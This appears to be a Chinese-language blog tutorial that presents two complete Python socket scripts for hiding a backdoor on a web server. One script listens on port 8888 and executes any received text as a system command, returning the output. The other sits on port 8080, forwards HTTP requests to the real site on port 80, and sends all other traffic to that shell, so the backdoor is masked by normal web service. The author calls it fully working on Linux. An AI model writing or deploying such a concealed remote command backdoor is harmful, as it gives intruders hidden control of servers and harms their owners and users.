python基于socket进行端口转发实现后门隐藏的示例

思想：

用户正常浏览器访问请求通过8080端口，请求若为http请求，则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码：

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码：

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正，但是linux下是可以完美运行的。欢迎学习交流。

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